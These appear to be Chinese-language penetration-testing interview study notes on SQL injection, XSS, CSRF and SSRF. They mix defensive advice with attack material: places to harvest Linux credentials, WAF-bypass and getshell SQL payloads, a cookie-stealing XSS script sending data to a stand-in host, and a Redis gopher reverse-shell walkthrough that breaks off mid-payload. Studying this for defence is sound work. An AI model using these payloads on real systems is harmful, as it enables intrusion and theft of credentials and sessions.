-
lambda 库的使用,注重语法,数据处理方面
-
mysql5.0以前的版本与5.0以后的版本有什么区别
-
python虚拟环境有什么作用:隔离环境
-
OSI七层模型必考
-
mysql与redis的数据类型,redis主要用来做什么
-
mysql数据库中,哪张表里存储了所有的表名 information_schema
-
mysql如何建立索引
-
sql注入的原理与防护,有哪些防护方案,预编译的防护方案如果遇到 order by 或 group by 又该怎么办
-
xss的原理,攻击和利用方式,以及如何防护
-
ssrf的原理,攻击和利用方式,以及如何防护
-
sql注入如何getshell,getshell时有哪些前提条件
-
木马免杀
-
内网渗透的思路,怎么做权限维持
-
ssrf如何getshell
-
木马免杀的思路
-
如何获取Linux服务器的密码
(除了利用 /etc/passwd 文件,还有 history 历史命令、查看服务器中的数据库配置文件信息 /etc/my.cnf、或者应用服 务器的 db.conf 这样的文件、再者去查找 /etc/network/interfaces 等网络配置文件,说不定有 vpn 的账密信息、或者 去查找env环境变量寻找可能包含DB_PASSWD这样的值、再或者去查看日志文件比如 /var/log/message 或 /var/log/auth.log 或 /etc/log/secure 文件,或者apache的 /var/log/apache2/access.log 文件)
-
命令注入漏洞:
-
有哪些指令可以用来查找域控
-
OAuth2 授权流程和常见漏洞有哪些?
-
如何利用 HTTP 头注入实现远程代码执行?
-
审计.NET应用时,发现ViewState使用MACValidation但未设置ViewStateEncryptionMode,可能存在何种漏洞?答案:可能构造恶意序列化对象实现RCE(没有配置加密的同时还需要需配合LosFormatter反序列化链)。
-
如何利用msDS-KeyCredentialLink属性实施无密码黄金票据攻击?通过Whisker工具修改用户KeyCredential属性,构造基于PKINIT的TGT票据
问题一:SQL注入的原理,危害,分类以及如何防护
-
原理:当应用程序未对输入的数据进行充分的过滤和验证的时候,攻击者可通过构造特殊的输入来拼接sql语句,使得最后要与数据库进行交互的sql语句是恶意的,最终造成数据泄露,权限提升,getshell,服务中断啊等等
-
分类:数字型注入,字符型注入,联合注入,报错注入,布尔盲注,时间盲注,HTTP头注,宽字节注入,堆叠注入,二次注入等(如用户注册时插入恶意值,后续查询时执行)
-
sql注入可以怎样进行一个权限提升:
- 如果本来获取到的数据库用户权限就比较高的话,我们 可以尝试进行跨库注入,实现跨库的数据窃取,甚至进行同样的一个权限维持的操作,就比如直接修改mysql.user表中的权限字段(比如 Super_priv 或 File_priv);
- 当然,除此之外,我们可以通过使用一些危险函数,比如 load_file() 函数来读取服务器的文件信息,比如,配置文件,密码文件等等(当然,这需要我们得到的权限具有FILE权限)甚至 SQL Server的
xp_cmdshell
、MySQL的sys_exec
当然,执行这些的危险函数也需要具备 sysadmin 的权限 - 然后我们可以使用 into outfile 这样的函数来写入恶意文件(这个前提是需要我们知道网站的绝对路径,这个可以通过报错或者配置来推测,而且目标目录具有写权限,
secure_file_priv
无限制(MySQL)或类似配置允许文件导出)
-
sql注入怎么getshell
- into outfile 写木马,或者 SQL Server 的 xp_cmsshell 来执行系统命令,可以进行反弹shell(当然,以上操作都需要具备DBA的权限)
-
**防护:**防护的方式比如有:参数化查询(预编译),最小权限原则,禁用危险函数,隐藏错误信息,使用WAF或者日志或者流量检测设备,当软,软件也可以
-
如果sql注入的预编译的防护方案如果遇到 order by 或 group by 又该怎么办
-
首先我们来思考,遇到预编译,攻击者该怎样进行攻击,看下面
攻击者可通过控制sortColumn参数实现: 布尔盲注:id, (SELECT IF(1=1,1,(SELECT 1 UNION SELECT 2))) 数据泄露:id, (SELECT password FROM users LIMIT 1) 系统命令执行(如数据库支持):id; EXEC xp_cmdshell 'whoami'
这不就是类似于堆叠注入的感觉吗
-
所以我们的防御方案:
1、使用白名单:预先定义允许被排序和分组的字段列表,用户输入只能匹配列表中的值
allowed_columns = ['id', 'name', 'create_time'] sort_column = request.args.get('sort') if sort_column not in allowed_columns: sort_column = 'id' # 默认安全值 sql = f"SELECT * FROM users ORDER BY {sort_column}"
2、或者使用正则匹配内容过滤:仅允许字母,数字,下划线作为输入内容,禁止特殊符号输入
if (!sortColumn.matches("^[a-zA-Z0-9_]+$")) { throw new InvalidInputException("Invalid sort column"); }
3、 二次查询映射
- 用户提交参数
sortKey
(如price
); - 后台通过预编译查询映射表,验证
sortKey
合法性; - 动态生成安全列名。示例*:
SELECT column_name FROM allowed_sort_columns WHERE key = ?;
4、数据库元数据校验
-
原理:通过
information_schema
动态验证列名是否存在:
SQLSELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' AND COLUMN_NAME=?
-
风险:需注意验证过程本身的安全性(避免递归注入)
5、如果遇到时间盲注,我们可以设定时间阈值,来检测异常的时间延迟请求
- 用户提交参数
-
-
sql怎么绕WAF
-
内联注释加版本号进行绕过
使用
/*!版本号*/
这样的方式进行绕过,当然,需要MySQL版本号 >= 5.7.27。比如使用?id=1 /*!50727and*/ 1=1--+
可绕过安全狗对and的检测 -
十六进制编码与Unicode编码
将关键字进行编码,以防被检测
-
URL双重编码
将已经编码过的字符再次进行编码,比如
%25
解码后是%
那我们就将%
编码为%2525
-
注释符分割关键字
比如使用
union/*//*//*/select
可以绕过安全狗对 union select 的整体检测或者
?id=1' union#%0aselect
其中#%0a
是换行符,从而达到一个分割语句的目的 -
特殊符号干扰
符号插入:比如在 union 或 select 中插入 + * ! ~,最终变成 uni+on
再或者
?id=1'^if(1=1.sleep(1),0)
使用异或绕过逻辑检测 -
参数污染:比如
?id=1&id=union select 1,2,3
-
逻辑运算符替换:比如 || 替换 or
-
等价函数替换:比如使用
substring()
替换substr()
或使用benchmark()
替换sleep()
-
系统表绕过:若
information_schema
表被拦截,可使用mysql.innodb_table_stats
等替代表名查询
-
问题二:xss的原理,攻击和利用方式,以及如何防护
xss的原理:
xss是一种常见的web安全漏洞,攻击者主要通过注入恶意脚本,获取用户的身份信息,比如cookie,或者篡改页面信息等等,进而控制对方的浏览器,通常发生在web中的搜索框,评论等等
xss的攻击类型:
-
反射型xss:用户输入的参数未经过滤直接回显到浏览器进行执行
比如构造恶意的URL连接,连接中有恶意的js代码,需要用户主动触发
-
存储型xss:恶意脚本被存储在服务器并展现在前端页面,所有访问该页面的用户均会受到影响
比如提交恶意的用户评论,无需用户主动点击触发
-
DOM型xss:攻击者通过修改或者拼接前端的DOM结构进行利用(比如程序会将url地址中的某个参数的值嵌入操前端页面中去)(说白了就是类似于我们构造和拼接闭合前端页面结构)
可以利用URL片段后的#锚点进行拼接恶意脚本
xss的攻击危害:
- 数据窃取:盗取用户Cookie、Token、密码等敏感信息
- 会话劫持:冒充用户执行操作(如转账、发帖)
- 网页篡改:修改页面内容(如插入钓鱼表单或广告)
- 蠕虫传播:通过社交网络自动扩散(如新浪微博XSS蠕虫)
- DDOS:利用用户浏览器发起流量洪水攻击
- 挖矿:
xss的绕过方法:
-
编码绕过:使用html实体编码、unicode或URL编码混淆恶意代码(比如将
<
转为<
后再解码执行) -
HTML事件属性注入:比如图片的响应事件(如
<img src=x onerror=alert(1)>
)<img src=1 onerror=alert(1)> <a href=javascript:alert(1)></a> <svg onload=alert(1)> <button onclick=alert(1)>
-
利用第三方漏洞库:通过jQuery等库的漏洞执行代码
-
大小写绕过
-
双写绕过
-
标签闭合
-
/代替空格
-
利用 标签 a 或者 iframe 等等
-
尝试拼接没有分号的js代码,因为浏览器可能会将没有分号的两句js代码拼接为一个js代码进行执行
XSS攻防与绕过
1、理解XSS的攻防手段
2、基于XSS原理理解其绕过的方式
1、XSS利用方式
(1)获取用户Cookie,实现越权,如果是获取网站管理员的Cookie,也可以叫提权。如果自己是管理员遇到这种情况,注意一下尽快注销账号,让Session失效。
(2)钓鱼网站,模拟真实的网站的登录页面,获取用户信息(账密等),在跳转到真实的网站
(3)执行JS代码,用于DDOS攻击别的目标站点,在站A上植入XSS代码,向站B发哦是那个请求,当用户量足够大的时候,就可以实现按DDOS攻击。
(4)恶意链接让用户点击,或者直接将网页植入到站点的 <iframe>
标签中。
www.woniuxy.com/security/testxss.php?content=<script>location.href="http://xxx.com/xss.php?cookie"+document.cookie;<script>
<!-- 注意对 + 和 & 等符号进行编码,防止浏览器过滤掉,可以使用ASCII码值转换为URL编码,及使用ASCII的十进制住哪换位对应的十六进制加上 % 就是i选哪个赢得URL编码。
并且还可以将上述代码以短网址的方式发送,用户点击短网址进行访问。
(5)当用户点击并访问恶意站点: <a href="htp://xxx.com/xss.html">
,在xss.html的网页中,可以执行JS代码,一方面提供正常的网站功能,另一方面隐藏着DOS或挖矿代码让用户浏览器执行。
2、测试方式
(1)反射性XSS测试的时候,可以使用扫描器,或者burp进行fuzz。
(2)存储型XSS测试的时候,可以直接把字典中的payload都塞进去,根据弹窗的编号,就知道是哪个。但这个容易被发现,因为这种方式会将payload写入目标站点的数据库中,所以可以先试探一下特殊符号是否被过滤。这种情况其实更适合自己构造payload。
(3)DOM型XSS测试,注意以阅读JS代码为主。在页面上找到输入点的相关DOM节点,在开发者选项中搜索一下,根据搜索结果去看是否被相关的JS操作,如果有js的操作,就去看我们的输入操作后输出在哪个地方我们就按照常规的XSS思路及逆行构造。
扫描器,要么直接对一个URL地址进行XSS的payload攻击,确认该URL地址在那些Payload上存在XSS,另外一个思路是对整个网站使用爬虫手段先爬取URL地址,再批量进行扫描。
3、防御手段
(1)做实体字符编码,htmlspecialchars(),函数功能就是把特殊符号,比如尖括号,引号转换成实体编码,这样就不会再输入的地方去干扰页面源代码。经过实体字符编码后,用户输入的特殊符号在源代码中就变成编码,但是在页面输出的时候,还是会显示成原来的样子。当输出位置在元素内容里面,并且被实体编码后,基本上就没有XSS的可能了。
$content = htmlspecialchars($_GET['content']);
(2)正则表达式或字符串判断
实体字符编码如果输出在事件属性中,还是有可能存在绕过的可能性。比如在a标签中,
<a href=javascript:alert(1)>
这种形式,没有尖括号也没有引号,就有可能被绕过。如果存在类似这种的情况,需要在链接属性中加上 http://或https://
的正则表达式来限制。
(3)实体字符转换
https://www.qqxiuzi.cn/bianma/zifushiti.php
xss的防御方案:
-
用户输入的过滤与验证:白名单校验,内容类型限制
-
避免使用 innerHTML:改用 textContent 或 innerText 等安全API
-
输出编码:
使用html实体编码
上下文敏感编码:
- HTML属性值使用
"
或'
转义。 - JavaScript变量使用
\uXXXX
Unicode转义
- HTML属性值使用
-
HTTP安全头设置
Content-Security-Policy(CSP):内容安全策略,限制脚本来源,防止服务器接收和执行恶意的外来url
HttpOnlyCookie:防止js读取敏感cookie
-
使用WAF或者类似于IDPS的工具
问题三:CSRF跨站请求伪造原理,攻击和利用方式,以及如何防护
**原理:**由于部分网站缺乏适当的请求校验机制,比如Cookie不过期,导致受害者点击了攻击者精心构造的恶意连接或者钓鱼网站,从而攻击者可以使用用户的身份对目标站点进行登录以及之后的操作。利用的是客户端对服务器端的信任
前提: 受害者需要先登录目标网站并在本地生成Cookie,且在不登出目标网站的前提下,然后再点击恶意链接
**类型:**GET,POST
**判断是否存在CSRF:**看看有没有token,reffer字段,如果删掉reffer字段是否还可以继续使用
**JSONP实现跨域:**主要基于
**CORS实现跨域:**主要基于请求头中的 origin 字段和响应头中的 Access-Control-Allow-Origin 字段的值
问题四:SSRF服务器请求伪造原理,攻击和利用方式,以及如何防护
**原理:**大多数原因都是因为服务器提供了从其他应用服务器请求资源的功能,但同时又没有对该功能进行严格的过滤与限制,导致攻击者可以传入任意的地址来让后端服务器进行请求和执行
**攻击与危害:**对外网,内网进行端口扫描,获取服务信息。攻击运行在本地或者内网的应用程序,对内网的Web应用进行指纹识别,通过范围跟默认文件实现。利用 file:// http:// gopher:// https:// dict:// 等协议读取本地文件,访问敏感目标,反弹shell等高危操作。
绕过方式:
- 攻击本地:比如 http://127.0.0.1:80 或者 http://localhost:22 等
- 利用 [::] 比如 http://[::]80 >>> 相当于 http://127.0.0.1
- 利用 @ ,如果限制只能由域名 http://www.woniuxy.com 访问时,我们可以构造 http://www.woniuxy.com@192.168.230.188:3306
- 将ip地址转换为 十六进制
- 使用短网址,比如百度的短网址就是https://dwz.cn/
防范措施:
- 禁止使用重定向,因为使用URL重定向可以直接跳转到目标的URL地址页面,可用于钓鱼网站等操作,需要避免
问题五:ssrf如何getshell
以下是一些利用Redis获取Webshell的其他思路:
利用Redis与Web服务交互漏洞
- 如果Redis与Web应用存在交互,如Web应用使用Redis存储用户会话等信息,可尝试通过会话固定、会话劫持等方式获取合法用户权限,进而上传Webshell。攻击者可以通过篡改Redis中存储的会话数据,将自己的会话ID伪装成管理员或高权限用户的会话ID,然后利用该会话访问Web应用的管理界面等功能,寻找上传Webshell的机会。
结合文件包含漏洞
- 若目标服务器存在文件包含漏洞,且Web应用对Redis数据读取存在缺陷,攻击者可以尝试在Redis中写入恶意脚本内容,然后通过文件包含漏洞让Web服务器包含并执行Redis中的恶意脚本,从而获取Webshell。比如,攻击者可以利用文件包含漏洞包含Redis配置文件中的恶意指令,使服务器执行攻击者指定的命令,进而实现Webshell的获取。
利用未授权访问漏洞反弹shell
当Redis存在未授权访问时,攻击者可直接连接Redis服务器。若Redis以高权限运行,攻击者可通过写定时任务的方式,将反弹Shell的命令写入定时任务配置文件,如 /etc/crontab 等。当定时任务执行时,就会触发反弹Shell,攻击者即可获取Webshell。比如我们先去查看crontab都在执行哪些文件,我们去修改这些文件,从而实现反弹shell等方式
基于Redis的SSRF反弹Shell实战
1. 环境准备
- 目标条件:内网存在未授权Redis服务,且SSRF漏洞允许发送Gopher协议请求
- 攻击工具:Burp Suite(构造请求)、Netcat(监听端口)。
2. 攻击步骤
监听反弹端口
攻击机开启监听:nc -lvp 8888 # 监听8888端口
构造Redis命令Payload
通过SSRF发送Gopher协议封装的Redis命令,写入计划任务(crontab)反弹Shell:# 示例Payload(需URL编码) gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0aa%0d%0a$35%0d%0a%0a%0a* *